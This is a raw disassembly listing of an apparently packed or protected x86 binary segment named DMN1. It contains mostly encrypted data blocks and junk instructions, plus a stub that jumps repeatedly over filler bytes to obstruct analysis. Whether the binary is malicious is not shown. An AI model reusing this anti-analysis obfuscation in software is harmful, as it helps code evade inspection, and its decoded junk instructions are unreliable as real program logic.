dd 0E8F600FCh, 9E2FBF58h, 301C45C8h, 0BE7ECB4Fh, 0E4295079h
dd 706C9F0Eh, 0D974233Fh, 0C33E1168h, 135C8DE9h, 0D567801Ch
dd 85D8C709h, 8E28640Eh, 188878C0h, 1DC500A6h, 39E7F91Eh
dd 112BE1E1h, 3E014219h, 3CD91E68h, 0A837C2FFh, 0B6EC5D48h
dd 9EE262CCh, 0E3185FA1h, 8A67815Fh, 0A56AAAF7h, 725CB6B2h
dd 672152BAh, 0F47832FFh, 50CA1BA8h, 1B6C1E25h, 59DD825Bh
dd 58B5DE7Fh, 0E3B76D98h, 5F8A55CBh, 358EB502h, 0FB92BFA0h
dd 5CBE1CDBh, 2A47E893h, 21F7B610h, 72C6C6A5h, 9EF18FA7h
dd 0ED93079Ah, 12A5D874h, 0E4CA3A6Ah, 67893DE0h, 0E7014074h
dd 0F0ED7D7Ah, 18DC1534h, 7D6BB250h, 0C85F65BEh, 4BA725C8h
dd 48118A5h, 0F8659F9Fh, 44FC9D9Eh, 513613AAh, 0B8F2F577h
dd 63EFB743h, 0B6CAD632h, 11F4A729h, 69FED0ECh, 0E61B3447h
dd 1F8F775h, 67C15990h, 6C6E5692h, 0C3D2890Ah, 2E936376h
dd 0E2D7AA90h, 2FB44B72h, 65EAB6Dh, 6BD8EC1Ch, 0B5A2DBFFh
dd 0D39DA5C6h, 98943444h, 0CDFA0BE7h, 0C4AC7BD5h, 1A66F514h
dd 2B4BCDDBh, 0C2DCB028h, 6AE4EDDh, 730FA2A4h, 0C5CE85EEh
dd 51CF2F64h, 8107CDE2h, 0E3DE3ADAh, 9A15A8C7h, 5647A36Dh
dd 8F5B9826h, 6691790h, 258BDBA7h, 2DD84B0Bh, 0C6BCE82Fh
dd 3C579B5Dh, 9EF7CC94h, 0B6E31C8Eh, 7CC5E88Fh, 7C6BF59Bh
dd 479985C0h, 0DF9D0009h, 7445241Eh, 0D035C34Eh, 0C33F436h
dd 0A2D430D3h, 3A0BF984h, 5004AC10h, 30AFFF80h, 862B9583h
dd 9C5D53EEh, 0A840333Fh, 1437AE2Eh, 8A8EDAF9h, 2C1E99E6h
dd 7112CBFCh, 29B5F3ABh, 30AEC771h, 0B2750E3Fh, 50BFE695h
dd 95C9F41Eh, 0E5C2D60Eh, 0C90D0C9h, 533C3D60h, 0EDDA3F96h
dd 5A6D548h, 0D2AFF1B4h, 33DF0A20h, 0F9698634h, 0F31E83BFh
dd 0A2CFAF42h, 823A1B02h, 90380254h, 0EDACF0DEh, 0A6BE3DE4h
dd 0A1DCC779h, 0A5D8EC55h, 0CB65DF51h, 6280BEFEh, 74324B6Fh
dd 82E5BAA4h, 0ABD2EE43h, 9F236A3Bh, 96BFE27Fh, 9DB87E61h
dd 389832FFh, 9EEA4057h, 80624486h, 6AD041D8h, 4EE1BB31h
dd 0C3F039EDh, 3CA7C662h, 0B62C6703h, 7040D027h, 42329252h
dd 51F5946Ch, 0E23F0466h, 0AC1E1963h, 221BC8B3h, 348E7C6Ch
dd 0CCC5F464h, 5C78A9D9h, 767DA098h, 7CDEA32Dh, 376585DDh
dd 0F6C4E755h, 7DBABC09h, 3DBC5719h, 3FD4D872h, 0B62F7ADAh
dd 35FD7684h, 315A8BF4h, 0DD1FE945h, 14BB6002h, 0FEA7C25h
dd 4CCEE3D1h, 0EBD60B98h, 85EE2069h, 7DB71772h, 0AB29DC43h
dd 0F9A2C537h, 89CF1C50h, 0B89B3DE4h, 7CFC23CCh, 0EEAFB7DEh
dd 0E83AF9B6h, 397A3B2Eh, 0A2303622h, 4B00FB44h, 67F84836h
dd 20D571DDh, 96B7977Fh, 0BC572587h, 0D2B2861Ah, 0F7187C26h
dd 47EA0139h, 0AF5BC68Ah
dd 0FCE9B92Bh, 0DB19B6C3h, 97DF93A3h, 95BC99E3h, 0BAC356DBh
dd 0DD0C6D49h, 9FD4FC53h, 0A4B3CB44h, 0DDCC469Fh, 9942A3C3h
dd 7BAA8305h, 6DBDCC42h, 0B8FF29C2h, 0E18493F3h, 319FA289h
dd 0A9886BFDh, 0AB9BA798h, 9445BADAh, 3F692409h, 8F4B0E83h
dd 0F77904B3h, 628C6F18h, 0C3F5FB8Bh, 794E5EC6h, 9166DAB1h
dd 2BBEA9D6h, 0BC7BB23Bh, 0C019E764h, 806F35D3h, 6191717Bh
dd 7A7DE89Bh, 216E4239h, 3F15D984h, 8FE2FF2Ah, 7BDE0DAAh
dd 0B56CB79h, 165DD778h, 701F3C8Ah, 0BB0E624Bh, 0EBCB9039h
; ---------------------------------------------------------------------------
loc_466EEC: ; CODE XREF: DMN1:00467F06j
cli
mov ds:0B3F2E503h, eax
mov ecx, 59411B3Dh
and al, 1
shr ch, cl
arpl cs:[edx], cx
movsd
pop esi
sbb eax, 14DACB6Dh
dec ecx
xchg eax, ebx
scasd
add al, 4Dh
pop edi
db 36h
loope loc_466F51
inc edi
adc ch, [ebx-3Fh]
pop ds
sahf
arpl [edi-61h], ax
retf
; ---------------------------------------------------------------------------
dd 0FCB6F22Fh, 177D25Eh, 4787C43Ch, 8E5054A2h, 4CF6963Dh
dd 83961D36h, 0C096E278h, 0D5A7DB0Eh, 0C7C34B57h, 0B5DC4B85h
dd 8AC897BAh, 0E480E1Ch, 6338FB29h, 0D582EF77h
db 0EFh
; ---------------------------------------------------------------------------
loc_466F51: ; CODE XREF: DMN1:00466F0Bj
cmpsb
setalc
lds edi, [ecx+7D003B16h]
add [ebp+eax*4-22D5FD8Bh], esp
and esi, 0FFFFFFD3h
stosd
or [ebx+75h], esp
scasd
clc
cmp esp, [ecx+25h]
jbe short near ptr loc_466FB5+2
loop loc_466FB5
cmp cl, bl
dec edx
popf
inc eax
call far ptr 30C7h:0BFEBD454h
cmp bh, dh
; ---------------------------------------------------------------------------
dw 0BF8Fh
dd 0BC65AAF7h, 413314B5h, 461183B3h, 805AD827h, 0DBB75FFBh
dd 0B2A23136h, 19168655h, 770A83D8h, 365CC832h, 1B2CF888h
dd 0DAB41910h, 0BB2C8D52h, 5EAB0D8Fh
db 0B1h
; ---------------------------------------------------------------------------
loc_466FB5: ; CODE XREF: DMN1:00466F6Ej
; DMN1:00466F6Cj
mov esp, 0A89E5E98h
inc ebx
db 65h
sub al, 0EEh
ja short loc_467032
push esp
mov ah, 8
mov edi, 0A7DA6079h
; ---------------------------------------------------------------------------
dd 0CBDD208Fh, 0EA1E3872h, 2CE325DCh, 0D7AE3D2Eh, 877E1C15h
dd 3CE72939h, 298308A3h, 1CF21FB3h, 40757205h
db 0FBh, 3Dh
; ---------------------------------------------------------------------------
loc_466FEE: ; CODE XREF: DMN1:loc_467032j
or byte ptr [edx+ecx], 74h
xor al, 0D0h
jmp short near ptr loc_467067+4
; ---------------------------------------------------------------------------
dw 81A9h
dd 0BCD88CDAh, 899715ECh, 5DC5ABE1h, 8A7931C7h, 0DADE96Dh
dd 0A393BE53h, 0E25B946Ah, 4E372B69h, 0E0FE9653h, 0E0680E78h
dd 96F46B89h, 5A85BEBBh, 16B037DCh, 352C92E0h
; ---------------------------------------------------------------------------
or dh, [edx]
loc_467032: ; CODE XREF: DMN1:00466FBEj
jle short loc_466FEE
inc edi
lea esi, [ebp+5212137Ah]
test al, 8
mov byte ptr [edi], 60h
push edi
call near ptr 1B7ED47h ; CODE XREF: DMN1:0046709Fj
and [eax], ch
add esi, [ecx-43h]
add ebx, [ebx+3BB50361h]
mov bl, 74h
jbe short near ptr loc_46707C+1
rcr byte ptr [edi-1E5806E4h], 1
cmpsd
or [eax+ebx*4-5Dh], dl
sub [ebx], ecx
add [ebx], bh
mov al, 0AAh
daa
loc_467067: ; CODE XREF: DMN1:00466FF4j
or eax, 65A34D8h
and [eax+esi*4+4A818CAh], dh
and [ecx+15h], bh
or [edx-0BF773F8h], esp
loc_46707C: ; CODE XREF: DMN1:00467053j
xchg ecx, ebx
add eax, 42FD699Bh
pop ebp
inc eax
dec ebp
xchg eax, ebp
fsubr qword ptr [edi-7E466EDCh]
mov bh, 1Fh
aam 2Bh
bound esp, [eax]
jno short loc_4670EF
bound eax, [ebx]
ficom dword ptr ds:760F2AC3h
mov cl, 26h
jz short near ptr loc_467041+3
push ds
in al, 0A9h ; Interrupt Controller #2, 8259A
out dx, al
pop ecx
or eax, 0A60E60D2h
retf
; ---------------------------------------------------------------------------
dd 0CE185251h, 9F42A958h, 7752468Bh, 47F3415Bh, 0D4A071A0h
dd 0F8C82FD4h, 1EEEA619h, 0C5AB3C57h, 2EF15DDEh, 0B9216751h
dd 34C139A3h, 6354FEECh, 94E2412Ch
db 13h
; ---------------------------------------------------------------------------
loc_4670E1: ; CODE XREF: DMN1:0046711Cj
daa
outsd
xchg eax, edx
pushf
jge short loc_46714D
dec ebx
pminsw mm5, qword ptr [eax-4A2D00B9h]
loc_4670EF: ; CODE XREF: DMN1:00467093j
push edx
mov eax, 1F96C039h
inc ecx
dec ecx
or eax, 0F34B63AAh
jno short loc_46712C
mov edi, 95C5689Ah
in eax, dx
; ---------------------------------------------------------------------------
dd 47A73B8Eh, 247DEFDDh, 3BC477Bh, 8A059DB6h
; ---------------------------------------------------------------------------
loc_467114: ; CODE XREF: DMN1:00467160j
js short near ptr loc_46713C+4
mov ebx, 94DBAB3Fh
loc_46711B: ; CODE XREF: DMN1:0046716Ej
dec eax
jl short loc_4670E1
push 863CD680h
push ecx
fdiv st, st(2)
clc
push 0E9454D42h
loc_46712C: ; CODE XREF: DMN1:004670FCj
mov edi, 0A119BC51h
xchg eax, edx
popf
inc edi
faddp st(1), st
test eax, 1D1647FDh ; CODE XREF: DMN1:00467170j
clc
loc_46713C: ; CODE XREF: DMN1:loc_467114j
mov ds:0A89DE23Eh, al
jle short loc_4671A1
cmp al, 0FDh
fnsave byte ptr [ebp-6D4714B6h]
dec ebx
std
loc_46714D: ; CODE XREF: DMN1:004670E5j
in al, 0A5h ; Interrupt Controller #2, 8259A
dec esp
lds edx, [si-37h]
enter 35E5h, 0E0h
pop ss
loc_467159: ; CODE XREF: DMN1:004671ACj
cmc
inc edi
dec eax
inc ebx
add [eax+edx*4], eax
jo short loc_467114
int 0F5h
sbb esi, [eax+6E458613h]
nop
lodsb
mov ah, 0B1h
jz short loc_46711B
jnb short near ptr loc_467136+3
; ---------------------------------------------------------------------------
dw 7F8Fh
dd 0F76CEC4Ch, 75D99ADBh, 9800E312h, 0B583DC02h, 0F7EFFC53h
dd 55149619h, 77B5F5C2h, 35C119B6h, 2E4363Fh, 7A1D32E1h
dd 0F184ACB0h
db 0B1h
; ---------------------------------------------------------------------------
loc_4671A1: ; CODE XREF: DMN1:00467141j
mov [edi+67h], esp
or esi, [edx-42h]
test [ebp-62h], ah
inc eax
insd
jb short loc_467159
loc_4671AE: ; CODE XREF: DMN1:004671B5j
adc al, 5
sal bh, 9Dh
push ds
pop edi
js short loc_4671AE
jg short loc_467228
out dx, eax
or al, 48h
adc al, 12h
xchg ecx, [ebp-2FE0BB11h]
jns short near ptr loc_46723A+1
das
pop edi
insd
mov ah, 4Eh
cmp ecx, [edx]
loc_4671CD: ; CODE XREF: DMN1:0046722Dj
int 84h
xor eax, 0CD67F949h
int 0A8h ; used by BASIC while in interpreter
sbb bh, al
test eax, 6313A78Fh
push es
adc eax, [edx]
mov [ebx+1Bh], bh
popf
call near ptr 0B179F503h
add al, 7Ch
fadd st, st(2)
and al, bl
mov ah, 80h
pop esi
db 3Eh
pop edx
db 2Eh
wait
bound edx, [esp+64h]
test dword ptr [eax+38h], 57EA70C3h
mov ch, 0CEh ; CODE XREF: DMN1:00467245j
add dl, [esi]
call near ptr 0E8EB870Eh
outsb
mov ebp, 67F1DE3Fh
imul edx
xchg eax, ecx
mov dl, 4Eh
sal dh, 1
lodsb
dec eax
cli
rcr byte ptr [ecx], 1
dec ebx
retf 988Ah
; ---------------------------------------------------------------------------
db 0ECh, 32h, 0A1h
dd 0EF2ED85Bh
; ---------------------------------------------------------------------------
loc_467228: ; CODE XREF: DMN1:004671B7j
push ebx
arpl [eax+26h], cx
lodsb
jge short loc_4671CD
xchg eax, ebp
call near ptr 0B59BF137h
mov ebx, 0EC623A7Fh
loc_46723A: ; CODE XREF: DMN1:004671C4j
fidiv dword ptr [esi]
mul dword ptr [ecx+esi*8+1CC96308h]
dec edi
push ebx
jnp short near ptr loc_467202+1
iret
; ---------------------------------------------------------------------------
dd 0C21154ADh, 0C48BD93Fh, 0CE3EC956h, 20D93B05h, 5659EBF9h
dd 7D7EC9D4h, 0FAFBA18h, 0D253B368h, 0DC4A4C1Dh, 9218205Bh
dd 0B892D7DFh, 147B82AFh, 2C7AFA2Ah, 8B86766Fh, 0BB445BBDh
dd 0CB85A915h, 76296616h, 9C2BAE09h, 0D01B62D0h, 26990344h
dd 0C06A75DFh, 547D8D5Fh, 0AA0B2716h, 56C2C777h, 0B35C31B4h
dd 0E3A9F4E3h, 0CEEC2AF7h, 0B5D4F59h, 0ED497225h, 0C9B5B975h
dd 29EE31ABh, 0BF684CE1h, 0F82F806Fh, 55AC0C90h, 0B7994C25h
dd 0E199FC37h, 0E8287B27h, 5544783Ch, 6D22641Ah, 0B0E35BAAh
dd 50449B8Ah, 325EA19Eh, 0B824783Fh, 85F03CEh, 0B002AA02h
dd 0D4FD8530h, 19282C01h, 42665E44h, 437CD047h, 0B432A16Ch
dd 0CC0DB657h, 63B79AABh, 7AB8B3C3h, 97A948FCh, 69998995h
dd 4E838243h, 978ACD63h, 30358B4Ch, 3B6C363Ah, 52219A6Ch
dd 0A093C470h, 4A17CC18h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [esp+8]
mov ebp, eax
pusha
mov eax, 0CD42DC15h
push eax
jmp short loc_467370
; ---------------------------------------------------------------------------
dw 0B4B2h
dd 2DD9AB3Bh, 7AB6A6CCh, 0DA5A620Dh, 86455BE9h, 65411322h
dd 2873BE74h, 62DD0850h
; ---------------------------------------------------------------------------
loc_467370: ; CODE XREF: DMN1:00467350j
xchg ecx, esi
xchg edx, ecx
jmp short loc_46737F
; ---------------------------------------------------------------------------
dw 6B35h
dd 1DBEDEE3h
; ---------------------------------------------------------------------------
push ds
xlat
inc ebp
loc_46737F: ; CODE XREF: DMN1:00467374j
cmc
jmp short loc_46739C
; ---------------------------------------------------------------------------
dw 865Ch
dd 3904A718h, 50EDC12Ch, 36C64CB4h, 0ECDD9D26h, 0FFF0729Eh
dd 0C3EA0516h
; ---------------------------------------------------------------------------
loc_46739C: ; CODE XREF: DMN1:00467380j
cmc
clc
clc
jmp short loc_4673AB
; ---------------------------------------------------------------------------
db 3Ah, 41h, 81h
dd 3B9AA2CEh
; ---------------------------------------------------------------------------
fcom qword ptr [ecx]
push es
loc_4673AB: ; CODE XREF: DMN1:0046739Fj
jmp short loc_4673C7
; ---------------------------------------------------------------------------
db 0A7h, 45h, 9Ch
dd 7DC06F9Fh, 16194A6Ah, 0B29AFB63h, 0E9EAD44Dh, 94B43B14h
; ---------------------------------------------------------------------------
and bl, [ebp+52h]
loc_4673C7: ; CODE XREF: DMN1:loc_4673ABj
neg ebx
jmp short loc_4673D8
; ---------------------------------------------------------------------------
db 41h
dd 6173911Fh, 0D7F8D778h, 0D9972EE6h
; ---------------------------------------------------------------------------
loc_4673D8: ; CODE XREF: DMN1:004673C9j
jmp short $+2
test eax, 42D53FC2h
xor edi, edi
jmp short loc_4673E8
; ---------------------------------------------------------------------------
dd 0FDACD2E1h
; ---------------------------------------------------------------------------
loc_4673E8: ; CODE XREF: DMN1:004673E2j
jmp short loc_4673FF
; ---------------------------------------------------------------------------
dw 0BCEDh
dd 122D6218h, 0F3A9C4B0h, 71E9D8Fh, 0A03CA06Fh
db 93h, 0EEh, 5Fh
; ---------------------------------------------------------------------------
loc_4673FF: ; CODE XREF: DMN1:loc_4673E8j
xchg ecx, eax
jmp short loc_46741D
; ---------------------------------------------------------------------------
db 6Ch
dd 0ADDE08BDh, 772D9D76h, 0D5424258h, 1C7B38A8h, 0E4E09301h
dd 1151D5B6h
db 80h
; ---------------------------------------------------------------------------
loc_46741D: ; CODE XREF: DMN1:00467401j
jmp short loc_46742D
; ---------------------------------------------------------------------------
db 0F4h
dd 28DFCEAh, 0B9B93E1Ch, 0E3BFA3F8h
db 38h
; ---------------------------------------------------------------------------
loc_46742D: ; CODE XREF: DMN1:loc_46741Dj
jmp short loc_467442
; ---------------------------------------------------------------------------
db 0E1h
dd 14A75839h, 29977F7Ch, 0DE6A7108h, 0CCF5F27Bh
db 61h, 80h
; ---------------------------------------------------------------------------
loc_467442: ; CODE XREF: DMN1:loc_46742Dj
bswap eax
neg ecx
add edi, 31000h
jmp short loc_46746B
; ---------------------------------------------------------------------------
and [esi-22CE10ADh], edi
cmp al, 5Eh
retf 0FEEDh
; ---------------------------------------------------------------------------
db 58h, 0F4h, 4Bh
dd 62F616B8h, 0C98B2B41h, 55D8846Bh
db 0B1h, 41h, 6Eh
; ---------------------------------------------------------------------------
loc_46746B: ; CODE XREF: DMN1:0046744Cj
xor ebx, 73260473h
jmp short loc_46748C
; ---------------------------------------------------------------------------
db 62h
dd 9AFD22D9h, 1785BC27h, 0DA97FEFEh, 3BD21570h, 47B1AEFEh
dd 79972582h
; ---------------------------------------------------------------------------
loc_46748C: ; CODE XREF: DMN1:00467471j
jmp short loc_4674AB
; ---------------------------------------------------------------------------
dw 4C8Eh
dd 710C20C8h, 3C60F256h, 1ABACE1Ah, 727316EDh, 64B72FCFh
dd 92644B25h
db 1, 83h, 0B3h
; ---------------------------------------------------------------------------
loc_4674AB: ; CODE XREF: DMN1:loc_46748Cj
xchg eax, ebp
xchg ebp, edi
jmp short loc_4674CE
; ---------------------------------------------------------------------------
db 0F2h, 0B5h, 0E2h
dd 103677E1h, 0DC6D2BF5h, 0E7726C8Ch, 0F0DE6CB6h, 0B3FD2A59h
dd 0B6AA6C08h
db 0F7h, 0BEh
; ---------------------------------------------------------------------------
loc_4674CE: ; CODE XREF: DMN1:004674AFj
jmp short loc_4674E1
; ---------------------------------------------------------------------------
db 90h
db 12h, 0F9h, 0D5h
dd 2A5062B0h, 0E10BBD2Fh, 0EE1201A3h
db 33h
; ---------------------------------------------------------------------------
loc_4674E1: ; CODE XREF: DMN1:loc_4674CEj
sub edx, edx
jmp short loc_467504
; ---------------------------------------------------------------------------
db 0D0h, 10h, 45h
dd 4DF6F80Eh, 23B2005Bh, 5FD0C454h, 4E657DF8h, 0DA43262Eh
dd 0DD0F8BCCh, 2F5FBAABh
; ---------------------------------------------------------------------------
loc_467504: ; CODE XREF: DMN1:004674E3j
xchg edi, ebx
jmp short loc_467515
; ---------------------------------------------------------------------------
dd 1DCCAA30h, 3F08BC5h, 0C16C2833h
; ---------------------------------------------------------------------------
dec edi
loc_467515: ; CODE XREF: DMN1:00467506j
jmp short loc_46751A
; ---------------------------------------------------------------------------
db 9Dh
db 68h, 0B1h
; ---------------------------------------------------------------------------
loc_46751A: ; CODE XREF: DMN1:loc_467515j
cmc
jmp short loc_467537
; ---------------------------------------------------------------------------
db 3Fh, 32h, 13h
dd 0F01E1C40h, 0BC07B5B8h, 7ADAAD4Bh, 0F7F74B07h, 0D3DE6232h
db 73h, 0F1h, 0D5h
; ---------------------------------------------------------------------------
loc_467537: ; CODE XREF: DMN1:0046751Bj
jmp short loc_46753F
; ---------------------------------------------------------------------------
db 0E7h, 0F2h, 3Dh
db 0B2h, 0Bh, 0CAh
; ---------------------------------------------------------------------------
loc_46753F: ; CODE XREF: DMN1:loc_467537j
jmp short loc_467549
; ---------------------------------------------------------------------------
db 1Ch, 47h, 0FBh
dd 0AB8E1FF2h
; ---------------------------------------------------------------------------
cmc
loc_467549: ; CODE XREF: DMN1:loc_46753Fj
sal edi, 0EAh
add edx, 5363h
loc_467552: ; CODE XREF: DMN1:00467D9Fj
jmp short loc_46755D
; ---------------------------------------------------------------------------
dd 0D9DBAB46h, 0AFC4AB62h
; ---------------------------------------------------------------------------
clc
loc_46755D: ; CODE XREF: DMN1:loc_467552j
jmp short loc_467574
; ---------------------------------------------------------------------------
db 76h
dd 26D5E492h, 3CCF9D69h, 1E460121h, 0C2C3705Eh, 0F065F266h
; ---------------------------------------------------------------------------
loc_467574: ; CODE XREF: DMN1:loc_46755Dj
neg edi
jmp short loc_467580
; ---------------------------------------------------------------------------
dd 13B2DD01h, 0C07B2772h
; ---------------------------------------------------------------------------
loc_467580: ; CODE XREF: DMN1:00467576j
jmp short loc_467588
; ---------------------------------------------------------------------------
cmp ds:0E8CCE2F1h, dl
loc_467588: ; CODE XREF: DMN1:loc_467580j
jmp short loc_4675A4
; ---------------------------------------------------------------------------
dw 4128h
dd 0BDC91F58h, 0D026166Fh, 0D5A7E4EAh, 443B729h, 60A00554h
dd 218E75F7h
; ---------------------------------------------------------------------------
loc_4675A4: ; CODE XREF: DMN1:loc_467588j
xchg esi, esp
jmp short loc_4675BB
; ---------------------------------------------------------------------------
dd 0E2CD8089h, 3944456Bh, 66857EA9h, 0B8A0B4A1h
db 76h, 7, 0CAh
; ---------------------------------------------------------------------------
loc_4675BB: ; CODE XREF: DMN1:004675A6j
cmc
jmp short loc_4675C8
; ---------------------------------------------------------------------------
dw 35ECh
dd 6CC25F39h, 3D618E6Fh
; ---------------------------------------------------------------------------
loc_4675C8: ; CODE XREF: DMN1:004675BCj
jmp short loc_4675CE
; ---------------------------------------------------------------------------
dw 3464h
db 6Dh, 75h
; ---------------------------------------------------------------------------
loc_4675CE: ; CODE XREF: DMN1:loc_4675C8j
jmp short loc_4675E3
; ---------------------------------------------------------------------------
dd 1C8528CDh, 27A0BB3Bh, 6752F72Bh, 0A1CC61A2h
; ---------------------------------------------------------------------------
inc edi
cmp [edx], bl
loc_4675E3: ; CODE XREF: DMN1:loc_4675CEj
jmp short loc_4675E6
; ---------------------------------------------------------------------------
sahf
loc_4675E6: ; CODE XREF: DMN1:loc_4675E3j
xchg eax, eax
jmp short loc_467606
; ---------------------------------------------------------------------------
dw 43A0h
dd 0A3B698D2h, 0C76E3A7Ah, 79233639h, 79B821EFh, 0D9E5DE64h
dd 0D3CA7564h
; ---------------------------------------------------------------------------
fucomi st, st(7)
loc_467606: ; CODE XREF: DMN1:004675E8j
xchg esi, esp
jmp short loc_467614
; ---------------------------------------------------------------------------
dw 1BF4h
dd 6E962F2Dh, 6A0022E9h
; ---------------------------------------------------------------------------
loc_467614: ; CODE XREF: DMN1:00467608j
jmp short loc_467634
; ---------------------------------------------------------------------------
dw 9096h
dd 0B416B5EBh, 88B9494Dh, 0FEDCDEh, 181AE1AFh, 0A0800Eh
dd 8D806DEBh, 0EB2AB000h
; ---------------------------------------------------------------------------
loc_467634: ; CODE XREF: DMN1:loc_467614j
mov ebx, ebp
jmp short loc_467655
; ---------------------------------------------------------------------------
dd 0E418976Ch, 4571E023h, 0E915D8DAh, 0B547A3B5h, 2452C9DCh
dd 0B045CAB1h, 5C2A1C03h
db 0B6h
; ---------------------------------------------------------------------------
loc_467655: ; CODE XREF: DMN1:00467636j
xchg edx, edx
cmc
ror ecx, 85h
jmp short loc_467662
; ---------------------------------------------------------------------------
db 20h, 0Ah, 82h
; ---------------------------------------------------------------------------
push esi
popf
loc_467662: ; CODE XREF: DMN1:0046765Bj
xchg edx, edx
jmp short loc_467670
; ---------------------------------------------------------------------------
dw 0D2A9h
dd 0FE28F0E1h, 859741EAh
; ---------------------------------------------------------------------------
loc_467670: ; CODE XREF: DMN1:00467664j
jmp short loc_467674
; ---------------------------------------------------------------------------
dw 796Eh
; ---------------------------------------------------------------------------
loc_467674: ; CODE XREF: DMN1:loc_467670j
jmp short loc_467688
; ---------------------------------------------------------------------------
dw 3021h
dd 919A8311h, 0E5546A66h, 0FB24F493h, 0A41CCAC7h
; ---------------------------------------------------------------------------
loc_467688: ; CODE XREF: DMN1:loc_467674j
std
jmp short loc_46769F
; ---------------------------------------------------------------------------
db 46h
dd 5980E7CFh, 3BC2B86Ah, 0E757FB30h, 0CFEA1B40h
; ---------------------------------------------------------------------------
adc [ebp+4Bh], cl
loc_46769F: ; CODE XREF: DMN1:00467689j
jmp short loc_4676B5
; ---------------------------------------------------------------------------
mov ds:0B55F9620h, al
mov esi, 0E2C7AF18h
retf 4529h
; ---------------------------------------------------------------------------
dw 5331h
dd 8044FC39h
db 88h
; ---------------------------------------------------------------------------
loc_4676B5: ; CODE XREF: DMN1:loc_46769Fj
add ebx, eax
xchg esp, ecx
jmp short loc_4676C4
; ---------------------------------------------------------------------------
pop esp
jz short near ptr word_467716
retn
; ---------------------------------------------------------------------------
sub eax, 9A7BD67Ch
loc_4676C4: ; CODE XREF: DMN1:004676B9j
jmp short loc_4676D4
; ---------------------------------------------------------------------------
dw 505Dh
dd 0FFDD81E5h, 0E996E413h, 0ED90DC65h
; ---------------------------------------------------------------------------
loc_4676D4: ; CODE XREF: DMN1:loc_4676C4j
jmp short loc_4676E5
; ---------------------------------------------------------------------------
dw 0C8FAh
dd 0A4AF7D55h, 0C0BAE0F4h, 0B6E63117h
db 6Bh
; ---------------------------------------------------------------------------
loc_4676E5: ; CODE XREF: DMN1:loc_4676D4j
jmp short loc_4676F8
; ---------------------------------------------------------------------------
db 0F8h
dd 94850DC5h, 71CDE0C7h, 9291039Bh, 0BAA376D8h
; ---------------------------------------------------------------------------
loc_4676F8: ; CODE XREF: DMN1:loc_4676E5j
mov esi, [ebx]
jmp short loc_46771A
; ---------------------------------------------------------------------------
dd 0E89834BCh, 0A5B0EDF0h, 0A97C98E9h, 0FE06AE2Eh, 0A8FE9B29h
dd 0CE385DE0h
db 0E3h, 0A4h
word_467716 dw 9135h ; CODE XREF: DMN1:004676BCj
; ---------------------------------------------------------------------------
xor ebp, ebp
loc_46771A: ; CODE XREF: DMN1:004676FAj
jmp short loc_46772F
; ---------------------------------------------------------------------------
sub dh, [ebp-795B5B2Ah]
aas
wait
adc dh, [eax+21h]
adc [ebx+19A4B36Bh], esp
sbb dh, bh
loc_46772F: ; CODE XREF: DMN1:loc_46771Aj
xchg ebp, ecx
jmp short loc_467734
; ---------------------------------------------------------------------------
push ecx
loc_467734: ; CODE XREF: DMN1:00467731j
xchg ebp, edx
jmp short loc_467745
; ---------------------------------------------------------------------------
aaa
mov dh, dl
xor al, 0Dh
inc edx
and [ebx-1Ah], al
dec esi
mov dh, 0F6h
sahf
loc_467745: ; CODE XREF: DMN1:00467736j
jmp short loc_467751
; ---------------------------------------------------------------------------
db 66h
dd 0B2D7CC8Ch, 70EF9CA0h
db 0BBh
; ---------------------------------------------------------------------------
loc_467751: ; CODE XREF: DMN1:loc_467745j
jmp short loc_467771
; ---------------------------------------------------------------------------
db 0C5h
dd 8A7FF1DEh, 3B938C2Ch, 0AF365FEDh, 0F6C444DAh, 88489EFCh
dd 22DC7763h, 443EEEA7h
db 90h
; ---------------------------------------------------------------------------
loc_467771: ; CODE XREF: DMN1:loc_467751j
xchg esi, edi
xchg edx, ecx
jmp short loc_467795
; ---------------------------------------------------------------------------
db 9Eh
dd 429C6863h, 0DE9B6EC4h, 472B6091h, 774D54E5h, 0A0C666C7h
dd 0EB79C851h, 0EFE27E4Dh
db 6Fh
; ---------------------------------------------------------------------------
loc_467795: ; CODE XREF: DMN1:00467775j
jmp short loc_46779D
; ---------------------------------------------------------------------------
db 0BCh
; ---------------------------------------------------------------------------
cmp eax, 0D0A25BB0h
loc_46779D: ; CODE XREF: DMN1:loc_467795j
jmp short loc_4677A0
; ---------------------------------------------------------------------------
db 75h
; ---------------------------------------------------------------------------
loc_4677A0: ; CODE XREF: DMN1:loc_46779Dj
jmp short loc_4677BE
; ---------------------------------------------------------------------------
dw 871Ah
dd 34767EF8h, 0A02AF4D5h, 87EEAF4Fh, 39D8409Dh, 905719D3h
dd 3DDF421Bh
; ---------------------------------------------------------------------------
jge short loc_4677ED
loc_4677BE: ; CODE XREF: DMN1:loc_4677A0j
xchg ecx, ebp
xor edi, [ebp+0]
jmp short loc_4677DF
; ---------------------------------------------------------------------------
db 0Fh, 0B1h, 65h
dd 6DAA29B4h, 0C58A0CEAh, 0A98E38AEh, 0B73F574Ah, 0E37BD588h
; ---------------------------------------------------------------------------
fnstcw word ptr [esi-6Ch]
loc_4677DF: ; CODE XREF: DMN1:004677C3j
jmp short loc_4677F5
; ---------------------------------------------------------------------------
db 0B6h, 63h, 37h
dd 0BD25057h, 0CB1837CFh
; ---------------------------------------------------------------------------
stc
loc_4677ED: ; CODE XREF: DMN1:004677BCj
sub [esi+6A6BE9C3h], dl
db 3Eh
xchg eax, ebx
loc_4677F5: ; CODE XREF: DMN1:loc_4677DFj
bswap ebx
jmp short loc_4677FA
; ---------------------------------------------------------------------------
db 65h
; ---------------------------------------------------------------------------
loc_4677FA: ; CODE XREF: DMN1:004677F7j
jmp short $+2
xchg esp, edi
jmp short loc_46781A
; ---------------------------------------------------------------------------
xor ds:0A51465F2h, ah
xchg eax, edx
nop
jg short loc_467849
wait
popa
push ecx
cmpsb
sbb eax, 987D091Ch
int 3 ; Trap to Debugger
pop ebp
mov ds:942E647Bh, al
loc_46781A: ; CODE XREF: DMN1:004677FEj
cmc
jmp short loc_46781E
; ---------------------------------------------------------------------------
db 78h
; ---------------------------------------------------------------------------
loc_46781E: ; CODE XREF: DMN1:0046781Bj
xchg esi, ecx
jmp short loc_46783E
; ---------------------------------------------------------------------------
dw 48F3h
dd 253F0E7Dh, 1D601EFh, 786E80EBh, 8D64109Dh, 30688CE3h
dd 0A850CDC5h
; ---------------------------------------------------------------------------
mov ch, 14h
loc_46783E: ; CODE XREF: DMN1:00467820j
xchg ebp, esi
jmp short loc_467845
; ---------------------------------------------------------------------------
dw 0EE22h
db 3Ah
; ---------------------------------------------------------------------------
loc_467845: ; CODE XREF: DMN1:00467840j
jmp short loc_46785A
